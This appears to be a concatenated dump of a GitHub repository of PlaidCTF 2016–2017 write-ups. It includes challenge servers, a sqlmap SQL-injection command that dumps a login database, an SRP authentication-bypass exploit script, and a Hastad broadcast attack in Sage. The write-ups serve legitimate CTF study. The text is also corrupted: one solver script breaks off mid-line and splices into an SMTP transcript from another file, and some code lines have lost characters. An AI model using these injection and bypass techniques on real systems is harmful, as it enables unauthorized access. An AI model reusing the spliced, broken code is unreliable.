37 | 'PCTF{LSB_is_4ll_y0u_ne3d}\xf2\xf2\xf2\xf2\xf2\xf2\xf2\xf2\xf2\xf2\xf2\xf2\xf2\xf2\xf2\xf2\xf2\xf2\xf2\xf2\xf2\xf2\xf2\xf2\xf2\xf2\xf2\xf2\xf2\xf2\xf2\xf2\xf2\xf2\xf2\xf2\xf2\xf2\xf2\xf2\xf2\xf2\xf2\xf2\xf2\xf2\xf2\xf2\xf2\xf2\xf2\xf2\xf2\xf2\xf2\xf2\xf2\xf2\xf2\xf2\xf2\xf2\xf2\xf2\xf2\xf2\xf2\xf2\xf2\xf2\xf2\xf2\xf2\xf2\xf2\xf2\xf2\xf2\xf2\xf2\xf2\xf2\xf2\xf2\xf2\xf2\xf2\xf2\xf2\xf2\xf2\xf2\xf2\xf2\xf2\xf2\xf2\xf2\xf2\xf2\xf2\xf4'
38 | ```
39 |
40 | Stripping away the padding yields the flag: `PCTF{LSB_is_4ll_y0u_ne3d}`.
--------------------------------------------------------------------------------
/plaidctf2016/rabit/rabit.py:
--------------------------------------------------------------------------------
1 | #/usr/bin/env python
2 |
3 | from Crypto.Random import random, atfork
4 | from Crypto.Util.number import bytes_to_long, long_to_bytes
5 | from hashlib import sha1
6 |
7 | import SocketServer,threading,os,time
8 | import signal
9 |
10 | from util import *
11 | from key import *
12 |
13 | PORT = 7763
14 | FLAG = "REDACTED"
15 | msg = """Welcome to the LSB oracle! N = {}\n""".format(N)
16 |
17 | def pad(s):
18 | assert(len(s) < N.bit_length() / 8)
19 | padded = bytes_to_long(s.ljust(N.bit_length()/8, padchar))
20 | while decrypt(padded, p, q) == None:
21 | padded += 1
22 | return padded
23 |
24 | padded = pad(FLAG)
25 | enc_flag = encrypt(padded, N)
26 |
27 | assert long_to_bytes(padded)[:len(FLAG)] == FLAG
28 | assert decrypt(enc_flag, p, q) == padded
29 | assert decrypt(2, p, q) != None
30 |
31 | def proof_of_work(req):
32 | import string
33 | req.sendall("Before we begin, a quick proof of work:\n")
34 | prefix = "".join([random.choice(string.digits + string.letters) for i in range(10)])
35 | req.sendall("Give me a string starting with {}, of length {}, such that its sha1 sum ends in ffffff\n".format(prefix, len(prefix)+5))
36 | response = req.recv(len(prefix) + 5)
37 | if sha1(response).digest()[-3:] != "\xff"*3 or not response.startswith(prefix):
38 | req.sendall("Doesn't work, sorry.\n")
39 | exit()
40 |
41 | class incoming(SocketServer.BaseRequestHandler):
42 | def handle(self):
43 | atfork()
44 | req = self.request
45 | signal.alarm(60)
46 |
47 | def recvline():
48 | buf = ""
49 | while not buf.endswith("\n"):
50 | buf += req.recv(1)
51 | return buf
52 |
53 | proof_of_work(req)
54 |
55 | signal.alarm(120)
56 |
57 | req.sendall(msg)
58 |
59 | req.sendall("Encrypted Flag: {}\n".format(enc_flag))
60 | while True:
61 | req.sendall("Give a ciphertext: ")
62 | x = long(recvline())
63 | m = decrypt(x, p, q)
64 | if m == None:
65 | m = 0
66 | req.sendall("lsb is {}\n".format(m % 2))
67 |
68 | req.close()
69 |
70 | class ReusableTCPServer(SocketServer.ForkingMixIn, SocketServer.TCPServer):
71 | pass
72 |
73 | SocketServer.TCPServer.allow_reuse_address = True
74 | server = ReusableTCPServer(("0.0.0.0", PORT), incoming)
75 |
76 | print "Listening on port %d" % PORT
77 | server.serve_forever()
78 |
--------------------------------------------------------------------------------
/plaidctf2016/rabit/rabit_stew.py:
--------------------------------------------------------------------------------
1 | import socket
2 | from hashlib import sha1
3 | import struct
4 |
5 | def proof_of_work(s):
6 | s.recv(1024)
7 | msg = s.recv(1024).strip()
8 | print(msg)
9 | prefix = msg[msg.index("with ") + 5 : msg.index(", of")]
10 | suffix = 0
11 | while True:
12 | response = prefix + 'A' + struct.pack('
14 | 250 Ok
15 | RCPT TO:
16 | 250 Ok
17 | DATA
18 | 354 End data with .
19 | Message-ID: <1460851088.7821.1.camel@ubuntu>
20 | Subject: The Stuff
21 | From: John Doe
22 | To: jsmith@example.com
23 | Date: Sat, 16 Apr 2016 16:58:08 -0700
24 | Content-Type: multipart/mixed; boundary="=-zAAY+FBv9yZgwoZy4KHy"
25 | X-Mailer: Evolution 3.10.4-0ubuntu2
26 | Mime-Version: 1.0
27 |
28 |
29 | --=-zAAY+FBv9yZgwoZy4KHy
30 | Content-Type: text/plain
31 | Content-Transfer-Encoding: 7bit
32 |
33 | Yo, I got the stuff.
34 |
35 |
36 | --=-zAAY+FBv9yZgwoZy4KHy
37 | Content-Type: application/zip; name="flag.zip"
38 | Content-Disposition: attachment; filename="flag.zip"
39 | Content-Transfer-Encoding: base64
40 |
41 | UEsDBBQACQAIAHGBkEjDELQcOSoAAFk3AAAIABwAZmxhZy5qcGdVVAkAA6XGElfKxhJXdXgLAAEE
42 | 6AMAAAToAwAAcu3qNOrf/ikOGiuwzSTfpxNkjsV6RU5ygGcK3CdWBI5s486P2jSZZMCE1dsgcB5C
43 | ...
44 | ...
45 | ...
46 | Z1VUBQADpcYSV3V4CwABBOgDAAAE6AMAAFBLBQYAAAAAAQABAE4AAACLKgAAAAA=
47 |
48 |
49 | --=-zAAY+FBv9yZgwoZy4KHy--
50 |
51 | .
52 | 250 Ok
53 | QUIT
54 | 221 Bye
55 | ```
56 |
57 | The base-64 encoded text seems to be an attachment called `file.zip`. Once we base-64 decode the string back to a zip file and try to open it, we realize that it is password-protected.
58 |
59 | Going back to Wireshark, we use the filter `smtp` to filter out non-SMTP packets. We then notice a second SMTP stream:
60 |
61 | ```
62 | 220 wren.wv.cc.cmu.edu Python SMTP proxy version 0.2
63 | EHLO [192.168.120.138]
64 | 502 Error: command "EHLO" not implemented
65 | HELO [192.168.120.138]
66 | 250 wren.wv.cc.cmu.edu
67 | MAIL FROM:
68 | 250 Ok
69 | RCPT TO:
70 | 250 Ok
71 | DATA
72 | 354 End data with .
73 | Message-ID: <1460851191.7821.2.camel@ubuntu>
74 | Subject: Wait, hang on
75 | From: John Doe
76 | To: jsmith@example.com
77 | Date: Sat, 16 Apr 2016 16:59:51 -0700
78 | Content-Type: text/plain
79 | X-Mailer: Evolution 3.10.4-0ubuntu2
80 | Mime-Version: 1.0
81 | Content-Transfer-Encoding: 7bit
82 |
83 | Yo, you'll need this too: super_password1
84 |
85 |
86 | .
87 | 250 Ok
88 | QUIT
89 | 221 Bye
90 | ```
91 |
92 | The password for the zip is `super_password1`, and opening the zip yields the image:
93 |
94 | 
95 |
96 | The flag is: `PCTF{LOOK_MA_NO_SSL}`.
97 |
--------------------------------------------------------------------------------
/plaidctf2016/thestuff/flag.jpg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/TechSecCTF/writeups/31b4375dba849946a32f35e2f33c71156957cb57/plaidctf2016/thestuff/flag.jpg
--------------------------------------------------------------------------------
/plaidctf2016/thestuff/flag.zip:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/TechSecCTF/writeups/31b4375dba849946a32f35e2f33c71156957cb57/plaidctf2016/thestuff/flag.zip
--------------------------------------------------------------------------------
/plaidctf2016/thestuff/the_stuff.pcapng:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/TechSecCTF/writeups/31b4375dba849946a32f35e2f33c71156957cb57/plaidctf2016/thestuff/the_stuff.pcapng
--------------------------------------------------------------------------------
/plaidctf2016/tonnerre/.gitignore:
--------------------------------------------------------------------------------
1 | sqlmap
2 |
--------------------------------------------------------------------------------
/plaidctf2016/tonnerre/README.md:
--------------------------------------------------------------------------------
1 | # tonnerre
2 | There are two phases to this problem: a SQL injection to recover some data, and an attack on [SRPv1](https://en.wikipedia.org/wiki/Secure_Remote_Password_protocol) that relies on the recovered data.
3 |
4 | ## SQL Injection
5 | We are given a [website](http://tonnerre.pwning.xxx:8560/) with a username and password login form. Initial tests confirm that both fields are injectable. We'll let [sqlmap](http://sqlmap.org) do all the heavy lifting:
6 |
7 | ```
8 | python sqlmap.py -u "http://tonnerre.pwning.xxx:8560/login.php" --method POST --data "username=asdjf&password=asdjf" -p "username" --dump
9 | ```
10 |
11 | sqlmap then dumps the contents of the database which consist of two tables. The first table `admin_users` contains just two columns:
12 |
13 | ```
14 | pass | user
15 | ------------------------------------+-------
16 | adminpasswordbestpasswordmostsecure | admin
17 | ```
18 |
19 | We can use this password to login to the website, but we just get this message:
20 |
21 | > Authentication successful for user admin! However, administration is disabled right now due to ongoing hacking attempts. Check again later.
22 |
23 | The second table, `users`, is more interesting. It too has only one row, with 3 columns corresponding to the salt, user, and verifier:
24 |
25 | ```
26 | salt: d14058efb3f49bd1f1c68de447393855e004103d432fa61849f0e5262d0d9e8663c0dfcb877d40ea6de6b78efd064bdd02f6555a90d92a8a5c76b28b9a785fd861348af8a7014f4497a5de5d0d703a24ff9ec9b5c1ff8051e3825a0fc8a433296d31cf0bd5d21b09c8cd7e658f2272744b4d2fb63d4bccff8f921932a2e81813
27 | user: get_flag
28 | verifier: ebedd14b5bf7d5fd88eebb057af43803b6f88e42f7ce2a4445fdbbe69a9ad7e7a76b7df4a4e79cefd61ea0c4f426c0261acf5becb5f79cdf916d684667b6b0940b4ac2f885590648fbf2d107707acb38382a95bea9a89fb943a5c1ef6e6d064084f8225eb323f668e2c3174ab7b1dbfce831507b33e413b56a41528b1c850e59
29 | ```
30 | We'll need this data for the second part.
31 |
32 | ## SRP Exploit
33 | Secure Remote Password is a protocol that uses a zero knowledge proof to authenticate to a server without the server learning any details about your password. Here's a sketch of the protocol:
34 |
35 | * The Client (C) and the Server (S) agree on N, a safe prime, and g, a generator in Z_N.
36 | * C generates a random salt and picks a password and computes x = SHA256(salt || password), and v = g^x (mod N).
37 | * Upon registration to the site, C sends the salt and password to S, which also computes x and v, but then throws the password and x away, keeping only the salt and v.
38 | * Upon logging in, C picks a random a in Z_N and computes A = g^a (mod N), sending this to S.
39 | * S picks a random b in Z_N, and computes and sends B = v + g^b (mod N) to C.
40 | * C computes k = (B - v)^(a + x) = g^(ax + bx) (mod N)
41 | * S computes k = (Av)^b = g^(ax + bx) (mod N)
42 | * C sends SHA256(k) to S, and S allows C to log in if this matches S's own computation.
43 |
44 | That's a lot of math, but the key to the protocol is that the server and client both manage to compute g^(ax + bx) despite neither of them ever sending a, x, or b in the clear. Note that v is known as the verifier, and is equal to the value that we found at the end of the first part.
45 |
46 | The exploit is suggested by a certain line present in the server-side code:
47 |
48 | ```
49 | if c in [N-g, N-1, 0, 1, g]:
50 | req.sendall('Sorry, not permitted.\n')
51 | req.close()
52 | return
53 | ```
54 |
55 | At this point in the code, c = Av = g^(a + x). What would go wrong if c = 0? Suppose that a malicious user sends A = 0 in the protocol. Then the user knows that the shared secret k = (Av)^b = 0, so the user would be able to successfully authenticate without knowing the password.
56 |
57 | What would go wrong if c = g? This would mean that a = -x + 1, which means that A = g^(-x + 1) = g • v^(-1). In this case the shared secret is k = (Av)^b = g^b, which the malicious user can calculate as B - v.
58 |
59 | Both of these attacks are prevented by the code above, but it's presence suggests another attack. What would go wrong if c = g^2? This would mean that a = -x + 2, which means that A = g^(-x + 2) = g^2 • v^(-1). In this case the shared secret is k = (Av)^b = g^(2b), which the malicious user can calculate as (B - v)^2.
60 |
61 | In summary, the exploit is as follows:
62 |
63 | * Malicious user (M) obtains v somehow
64 | * M calculates A = g • v^(-1) (mod N) and sends this to S.
65 | * S sends back B
66 | * M calculates k = (B - v)^2, and sends SHA256(k) to S.
67 | * S accepts this as valid and lets M log in (or in our case, sends back the flag).
68 |
69 | The exploit is implemented in `srp_exploit.py`.
70 |
71 | Note that this attack only works if the malicious user knows v, the verifier. In this case, we happen to know v because of a database leak. However, since database leaks are [surprisingly common](http://arstechnica.com/gaming/2012/08/hackers-collect-significant-account-details-from-blizzard-servers/), later versions of SRP corrected this vulnerability.
72 |
73 | The flag is `PCTF{SrP_v1_BeSt_sRp_c0nf1rm3d}`.
74 |
--------------------------------------------------------------------------------
/plaidctf2016/tonnerre/admin_users.csv:
--------------------------------------------------------------------------------
1 | pass,user
2 | adminpasswordbestpasswordmostsecure,admin
3 |
4 |
--------------------------------------------------------------------------------
/plaidctf2016/tonnerre/public_server_copy.py:
--------------------------------------------------------------------------------
1 | #/usr/bin/env python
2 |
3 | from Crypto.Random import random, atfork
4 | from Crypto.Hash import SHA256
5 |
6 | msg = """Welcome to the Tonnerre Authentication System!\n"""
7 | flag = "REDACTED"
8 |
9 | N = 168875487862812718103814022843977235420637243601057780595044400667893046269140421123766817420546087076238158376401194506102667350322281734359552897112157094231977097740554793824701009850244904160300597684567190792283984299743604213533036681794114720417437224509607536413793425411636411563321303444740798477587L
10 | g = 9797766621314684873895700802803279209044463565243731922466831101232640732633100491228823617617764419367505179450247842283955649007454149170085442756585554871624752266571753841250508572690789992495054848L
11 |
12 | permitted_users = {'get_flag': (0xd14058efb3f49bd1f1c68de447393855e004103d432fa61849f0e5262d0d9e8663c0dfcb877d40ea6de6b78efd064bdd02f6555a90d92a8a5c76b28b9a785fd861348af8a7014f4497a5de5d0d703a24ff9ec9b5c1ff8051e3825a0fc8a433296d31cf0bd5d21b09c8cd7e658f2272744b4d2fb63d4bccff8f921932a2e81813L, 165674960298677315369642561867883496091624769292792204074150337092614964752287803122621876963359715780971900093578962850132496591192295131510624917204670192364009271723089444839548606533268832368676268405764377988005323809734321470184299186127132537376393324213965008025487569799622831466701444653263068925529L)}
13 |
14 | # This should import the fields from the data into the dictionary.
15 | # the dictionary is indexed by username, and the data it contains are tuples
16 | # of (salt, verifier) as numbers. note that the database stores these in hex.
17 | #import_permitted_users(permitted_users)
18 |
19 | def H(P):
20 | h = SHA256.new()
21 | h.update(P)
22 | return h.hexdigest()
23 |
24 | def tostr(A):
25 | return hex(A)[2:].strip('L')
26 |
27 | def handle():
28 | print(msg)
29 | username = raw_input("").strip('\n')
30 | if username not in permitted_users:
31 | print('Sorry, not permitted.\n')
32 | return
33 | public_client = int(raw_input("").strip('\n'), 16) % N
34 | c = (public_client * permitted_users[username][1]) % N
35 | if c in [N-g, N-1, 0, 1, g]:
36 | print('Sorry, not permitted.\n')
37 | return
38 | random_server = random.randint(2, N-3)
39 | public_server = pow(g, random_server, N)
40 | residue = (public_server + permitted_users[username][1]) % N
41 | print(tostr(permitted_users[username][0]) + '\n')
42 | print(tostr(residue) + '\n')
43 |
44 | session_secret = (public_client * permitted_users[username][1]) % N
45 |
46 | assert pow(g, 2, N) == session_secret
47 |
48 | session_secret = pow(session_secret, random_server, N)
49 | session_key = H(tostr(session_secret))
50 |
51 | proof = raw_input("").strip('\n')
52 |
53 | if (proof != H(tostr(residue) + session_key)):
54 | print('Sorry, not permitted.\n')
55 | return
56 |
57 | our_verifier = H(tostr(public_client) + session_key)
58 | print(our_verifier + '\n')
59 |
60 | print('Congratulations! The flag is ' + flag + '\n')
61 | return
62 |
63 | if __name__ == '__main__':
64 | handle()
65 |
--------------------------------------------------------------------------------
/plaidctf2016/tonnerre/public_server_ea2e768e20e89fb1aafbbc547cdb4636.py:
--------------------------------------------------------------------------------
1 | #/usr/bin/env python
2 |
3 | from Crypto.Random import random, atfork
4 | from Crypto.Hash import SHA256
5 |
6 | from database import import_permitted_users
7 |
8 | import SocketServer,threading,os,time
9 |
10 | msg = """Welcome to the Tonnerre Authentication System!\n"""
11 | flag = "REDACTED"
12 |
13 | N = 168875487862812718103814022843977235420637243601057780595044400667893046269140421123766817420546087076238158376401194506102667350322281734359552897112157094231977097740554793824701009850244904160300597684567190792283984299743604213533036681794114720417437224509607536413793425411636411563321303444740798477587L
14 | g = 9797766621314684873895700802803279209044463565243731922466831101232640732633100491228823617617764419367505179450247842283955649007454149170085442756585554871624752266571753841250508572690789992495054848L
15 |
16 | permitted_users = {}
17 |
18 | # This should import the fields from the data into the dictionary.
19 | # the dictionary is indexed by username, and the data it contains are tuples
20 | # of (salt, verifier) as numbers. note that the database stores these in hex.
21 | import_permitted_users(permitted_users)
22 |
23 | def H(P):
24 | h = SHA256.new()
25 | h.update(P)
26 | return h.hexdigest()
27 |
28 | def tostr(A):
29 | return hex(A)[2:].strip('L')
30 |
31 | class incoming(SocketServer.BaseRequestHandler):
32 | def handle(self):
33 | atfork()
34 | req = self.request
35 | req.sendall(msg)
36 | username = req.recv(512)[:-1]
37 | if username not in permitted_users:
38 | req.sendall('Sorry, not permitted.\n')
39 | req.close()
40 | return
41 | public_client = int(req.recv(512).strip('\n'), 16) % N
42 | c = (public_client * permitted_users[username][1]) % N
43 | if c in [N-g, N-1, 0, 1, g]:
44 | req.sendall('Sorry, not permitted.\n')
45 | req.close()
46 | return
47 | random_server = random.randint(2, N-3)
48 | public_server = pow(g, random_server, N)
49 | residue = (public_server + permitted_users[username][1]) % N
50 | req.sendall(tostr(permitted_users[username][0]) + '\n')
51 | req.sendall(tostr(residue) + '\n')
52 |
53 | session_secret = (public_client * permitted_users[username][1]) % N
54 | session_secret = pow(session_secret, random_server, N)
55 | session_key = H(tostr(session_secret))
56 |
57 | proof = req.recv(512).strip('\n')
58 |
59 | if (proof != H(tostr(residue) + session_key)):
60 | req.sendall('Sorry, not permitted.\n')
61 | req.close()
62 | return
63 |
64 | our_verifier = H(tostr(public_client) + session_key)
65 | req.sendall(our_verifier + '\n')
66 |
67 | req.sendall('Congratulations! The flag is ' + flag + '\n')
68 | req.close()
69 |
70 | class ReusableTCPServer(SocketServer.ForkingMixIn, SocketServer.TCPServer):
71 | pass
72 |
73 | SocketServer.TCPServer.allow_reuse_address = True
74 | server = ReusableTCPServer(("0.0.0.0", 8561), incoming)
75 | server.timeout = 60
76 | server.serve_forever()
77 |
--------------------------------------------------------------------------------
/plaidctf2016/tonnerre/srp_exploit.py:
--------------------------------------------------------------------------------
1 | from Crypto.Hash import SHA256
2 | import binascii
3 |
4 | N = 168875487862812718103814022843977235420637243601057780595044400667893046269140421123766817420546087076238158376401194506102667350322281734359552897112157094231977097740554793824701009850244904160300597684567190792283984299743604213533036681794114720417437224509607536413793425411636411563321303444740798477587L
5 | g = 9797766621314684873895700802803279209044463565243731922466831101232640732633100491228823617617764419367505179450247842283955649007454149170085442756585554871624752266571753841250508572690789992495054848L
6 | v = 165674960298677315369642561867883496091624769292792204074150337092614964752287803122621876963359715780971900093578962850132496591192295131510624917204670192364009271723089444839548606533268832368676268405764377988005323809734321470184299186127132537376393324213965008025487569799622831466701444653263068925529L
7 | salt = "d14058efb3f49bd1f1c68de447393855e004103d432fa61849f0e5262d0d9e8663c0dfcb877d40ea6de6b78efd064bdd02f6555a90d92a8a5c76b28b9a785fd861348af8a7014f4497a5de5d0d703a24ff9ec9b5c1ff8051e3825a0fc8a433296d31cf0bd5d21b09c8cd7e658f2272744b4d2fb63d4bccff8f921932a2e81813"
8 |
9 | def H(P):
10 | h = SHA256.new()
11 | h.update(P)
12 | return h.hexdigest()
13 |
14 | def tostr(A):
15 | return hex(A)[2:].strip('L')
16 |
17 | if __name__ == '__main__':
18 | A = (((pow(v, N - 2, N) * g) % N) * g) % N
19 | print(hex(A))
20 |
21 | B = 0xd21bcebbd52920b04054244336f0f27a56ee70457e02c6259c3297219493c2611b140e6f7aa5c2d04a0f20c5966ecbd5a5ac5cdb77ce5a4379f54b092871bb6a726c5099af38ccfecd3edab7d91b27448c58213a4db53a5ef7bec81f82d9f5a9fe1ddb0f60f0ec6d4cbff521b7fd3882be381010fdd451d1c2a3ea5fad553df4
22 | answer = pow(B - v, 2, N)
23 |
24 | session_key = H(tostr(answer))
25 | print(H(tostr(B) + session_key))
--------------------------------------------------------------------------------
/plaidctf2016/tonnerre/users.csv:
--------------------------------------------------------------------------------
1 | salt,user,verifier
2 | d14058efb3f49bd1f1c68de447393855e004103d432fa61849f0e5262d0d9e8663c0dfcb877d40ea6de6b78efd064bdd02f6555a90d92a8a5c76b28b9a785fd861348af8a7014f4497a5de5d0d703a24ff9ec9b5c1ff8051e3825a0fc8a433296d31cf0bd5d21b09c8cd7e658f2272744b4d2fb63d4bccff8f921932a2e81813,get_flag,ebedd14b5bf7d5fd88eebb057af43803b6f88e42f7ce2a4445fdbbe69a9ad7e7a76b7df4a4e79cefd61ea0c4f426c0261acf5becb5f79cdf916d684667b6b0940b4ac2f885590648fbf2d107707acb38382a95bea9a89fb943a5c1ef6e6d064084f8225eb323f668e2c3174ab7b1dbfce831507b33e413b56a41528b1c850e59
3 |
4 |
--------------------------------------------------------------------------------
/plaidctf2016/untitled/README.md:
--------------------------------------------------------------------------------
1 | #Untitled-1.pdf
2 |
3 | In an appropriate PDF viewer (Chrome's built-in viewer should work), type ⌘-A, ⌘-C, and ⌘-V in some text editor to get the flag: `PCTF{how_2_pdf_yo}`.
--------------------------------------------------------------------------------
/plaidctf2016/untitled/Untitled-1_1a110935ec70b63ad09fec68c89dfacb.pdf:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/TechSecCTF/writeups/31b4375dba849946a32f35e2f33c71156957cb57/plaidctf2016/untitled/Untitled-1_1a110935ec70b63ad09fec68c89dfacb.pdf
--------------------------------------------------------------------------------
/plaidctf2017/board.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/TechSecCTF/writeups/31b4375dba849946a32f35e2f33c71156957cb57/plaidctf2017/board.png
--------------------------------------------------------------------------------
/plaidctf2017/multicast/README.md:
--------------------------------------------------------------------------------
1 | # Multicast (150 pts)
2 |
3 | Multicast was one of the earliest challenges released. We were given two files: a sage program called `generate.sage` and a file with 20 large integers called `data.txt`. This was `generate.sage`:
4 |
5 | ```
6 | nbits = 1024
7 | e = 5
8 | flag = open("flag.txt").read().strip()
9 | assert len(flag) <= 64
10 | m = Integer(int(flag.encode('hex'),16))
11 | out = open("data.txt","w")
12 |
13 | for i in range(e):
14 | while True:
15 | p = random_prime(2^floor(nbits/2)-1, lbound=2^floor(nbits/2-1), proof=False)
16 | q = random_prime(2^floor(nbits/2)-1, lbound=2^floor(nbits/2-1), proof=False)
17 | ni = p*q
18 | phi = (p-1)*(q-1)
19 | if gcd(phi, e) == 1:
20 | break
21 |
22 | while True:
23 | ai = randint(1,ni-1)
24 | if gcd(ai, ni) == 1:
25 | break
26 |
27 | bi = randint(1,ni-1)
28 | mi = ai*m + bi
29 | ci = pow(mi, e, ni)
30 | out.write(str(ai)+'\n')
31 | out.write(str(bi)+'\n')
32 | out.write(str(ci)+'\n')
33 | out.write(str(ni)+'\n')
34 | ```
35 |
36 | The attack ("Hastad's Broadcast Attack on linear padding") is described [here](https://en.wikipedia.org/wiki/Coppersmith%27s_attack#H.C3.A5stad.27s_broadcast_attack).
37 |
38 | [Sage](http://www.sagemath.org/) makes this attack trivial to implement. It only required 22 lines of code:
39 |
40 | ```
41 | import binascii
42 |
43 | data = open('data.txt', 'r')
44 | y = data.read().split()
45 |
46 | y = [Integer(a) for a in y]
47 | z = [(y[4*i + 0], y[4*i + 1], y[4*i + 2], y[4*i + 3]) for i in range(5)]
48 |
49 | ns = [a[3] for a in z]
50 | cs = [a[2] for a in z]
51 | bs = [a[1] for a in z]
52 | ass = [a[0] for a in z]
53 |
54 | ts = [crt([int(i == j) for j in range(5)], ns) for i in range(5)]
55 |
56 | P. = PolynomialRing(Zmod(prod(ns)))
57 | gs = [(ts[i] * ((ass[i] * x + bs[i])**5 - cs[i])) for i in range(5)]
58 | g = sum(gs)
59 | g = g.monic()
60 | roots = g.small_roots()
61 |
62 | print binascii.unhexlify(hex(int(roots[0]))[2:-1])
63 | ```
64 |
65 | After running for about 5 seconds, our program gives us the flag:
66 |
67 | ```
68 | [multicast]> /Applications/SageMath/sage exploit.sage
69 | PCTF{L1ne4r_P4dd1ng_w0nt_s4ve_Y0u_fr0m_H4s7ad!}
70 | ```
71 |
--------------------------------------------------------------------------------
/plaidctf2017/multicast/data.txt:
--------------------------------------------------------------------------------
1 | 69083553146183344839772978505267712546348345951915552104934666999364893606414967631473531356169090286677897220956536147203986323670778671853966574104550916190831974039291113434428713226539656233005536401237618731903013444912424490954403050283261443145833828774338405850464149745370010921929208582803372719662
2 | 1847353606880715823527099792264841437499256859046112182901817731898583109812226034453486290034759426343181112477498401843027934563915568068662901070357638240406212287869791959600724393823543974271939728800168160170264361943043888105413027223078955278440961637038127459036967868261370295558665462738851664674
3 | 13924397671629169794872532654354896735104301636897981275021597449713744312702850679542667853889775700566291452624971794825605462609659305736119167763171202028684488729179106128850062049316631850373987498751231054904292395688010798166991604433834113228237987911867991301264314792383410544657232986272138720776
4 | 107176667955056054888106289112863406099193890480114548290390156586316295797860714447523894766296345238663487884525751440074160698573876676529510120482633305843604033670838833224316621039974842663423971964367617383524243164757298543267528648455662196669719411550337416706436014652957797379123891565563380621721
5 | 27025595670607123748133955387986761928986723842407963667833744851457582823949409825451502999363014637018266381381800334740959357732693327871649715849440610655814448606276225985636706847320729571129651265791968308846145775455134446011658371731137714821594128627843120134392299295278193619998726010683820300906
6 | 76626521446699164152465241536023395842467420530412705255543098462161399927889232797875074266701010280661667851769988806969262190694662659916308198862288454347865777843483804317714263754964326435968683758707252482706186266157923587034286069745922345373717550980870551177895535541280767243258161167226140529179
7 | 74820001900443652318294067181707795319993357148314983190736617977547527951708569170206478241294503335669164830735894900549009883421968340647253048091278584463455833751347773269310148496440204410893225151858930449694234125324321395015257722229646579662704510552084383728048226410232141635889320648460673299335
8 | 116940935524323795130742526994657925027084667081524402264947741484054748546876541534619667289853985612350852220069194599338546449074832255593771931123087798582432365325897386813589970457955530817464044545954375253380129491859158211405510009895941963611340400391118219478974834168088677930751757315159110921841
9 | 3004029671513060545517047598385797934912754972599429487078366757715733246340760740484289209221138121568405251845847578856114711659946228365274190780159966913357682874178318970562635144717761245951754408952773122354583612422645258507146795630561366955268226048296864853067903656400207186949463324893914485565
10 | 39916349286626463801197107509708900778499859478703695888378041406302001988773262878930035955207487249221227735861868182215434820807844055889132141226547303138247159556705455695270756436706739886462479337109843197568024375533105139465029460850504284879314129902197486373473299170494478698741715992027042335920
11 | 14108999386222915459940913638433135402751523880380098398237968303803785854582535395117824943688282642164021530817702254201291805032640778641839809162886268856556652703619578965302291774447936003759868066323907388148146727752981125365333046242305065445858381847752308536916145502431706840471314490470498925933
12 | 100668102943542293762890526110731145470895119442621421158649868631915746146377966542031367735374167457406299434355768725246104804285632863373024153609404762902208230939718098090168262799174612923680636870557478441319366190063047687786785211877198536555745316733683533528849562416675658775836498023052914901749
13 | 42305211872257990504112591982462712826623117527580306258621876854892728665082535381823460722212076449810881809439537932537619270097066694079814712136330261508201872405339882571623217945205024525421229411985020496914748229102523658456972139082089291624782533401385935487411288676903751198610145921301518231107
14 | 37927948227203538741746385301195518552457676697015260677758470292294745311488915679784285945487731017142600921756814455642818173556814139042013977633776585763163271296255014647248684364947573160457459801483696377003575286309739820627536302900476424058673287304085337544422656511271366685116274814463373028939
15 | 29808378278310626950656040722768610557513777159495566134112105939237344988328390169388824486265334935284692186547128505302437631500267072936205473588904993250984366335171085215776781494184026623681600861765081754836053424849422843633084928107942855476866942904060229897408614881375916806167293356422910088562
16 | 80450031402201203587730534009338660865222026164984422981250298135548464160260574889923232542563882168618899594606271070764435488631855210441010916420059803623249294290301484880522559794167514055495411717729597100446344174893389277795663285345593590647340104666332031316803275436638414115193469755829893511487
17 | 35798442949372217448131245718267683892608947365147471016957781854054771928382329233065506241624702265207177594187978141208820788381204095301540789196845409818326829309725267401115274448449544207730582441399296587733377747658506089439891602945020732454221665678849354836056443444544603686977883511757122333808
18 | 15148604454321045616017299717211628700774278430049633748723698755621714384646643282913626328387905917563070000934175316190944226369346680779250458706206743862204417104832969982264440206554850551723416393459529398494316425018200651517022177685036277113534264161058597282135279496222169055121895473052233762246
19 | 90847039947327313643774540191254303763104502856236195148227169238729840332433440088244863054796973078431673232305152421572163200464861625035107176753552370732936207870756803675490237581973525804663863823181351604257906567409397759543713937699041851977124940235865938476195092603195522703292454934101412022811
20 | 93862849424043561789940054837392625966883465717813492561917969675964529083848723311514364070936115132154848096497003118110036719543385624344289211314373383330520240583297483284951457880437389550791045654411987778690675595035123064122359417085803319134114455113012761800931917960807358624095094896528184569953
21 |
--------------------------------------------------------------------------------
/plaidctf2017/multicast/exploit.sage:
--------------------------------------------------------------------------------
1 | import binascii
2 |
3 | data = open('data.txt', 'r')
4 | y = data.read().split()
5 |
6 | y = [Integer(a) for a in y]
7 | z = [(y[4*i + 0], y[4*i + 1], y[4*i + 2], y[4*i + 3]) for i in range(5)]
8 |
9 | ns = [a[3] for a in z]
10 | cs = [a[2] for a in z]
11 | bs = [a[1] for a in z]
12 | ass = [a[0] for a in z]
13 |
14 | ts = [crt([int(i == j) for j in range(5)], ns) for i in range(5)]
15 |
16 | P. = PolynomialRing(Zmod(prod(ns)))
17 | gs = [(ts[i] * ((ass[i] * x + bs[i])**5 - cs[i])) for i in range(5)]
18 | g = sum(gs)
19 | g = g.monic()
20 | roots = g.small_roots()
21 |
22 | print binascii.unhexlify(hex(int(roots[0]))[2:-1])
23 |
--------------------------------------------------------------------------------
/plaidctf2017/multicast/exploit.sage.py:
--------------------------------------------------------------------------------
1 |
2 | # This file was *autogenerated* from the file exploit.sage
3 | from sage.all_cmdline import * # import sage library
4 |
5 | _sage_const_3 = Integer(3); _sage_const_2 = Integer(2); _sage_const_1 = Integer(1); _sage_const_0 = Integer(0); _sage_const_5 = Integer(5); _sage_const_4 = Integer(4)
6 | import binascii
7 |
8 | data = open('data.txt', 'r')
9 | y = data.read().split()
10 |
11 | y = [Integer(a) for a in y]
12 | z = [(y[_sage_const_4 *i + _sage_const_0 ], y[_sage_const_4 *i + _sage_const_1 ], y[_sage_const_4 *i + _sage_const_2 ], y[_sage_const_4 *i + _sage_const_3 ]) for i in range(_sage_const_5 )]
13 |
14 | ns = [a[_sage_const_3 ] for a in z]
15 | cs = [a[_sage_const_2 ] for a in z]
16 | bs = [a[_sage_const_1 ] for a in z]
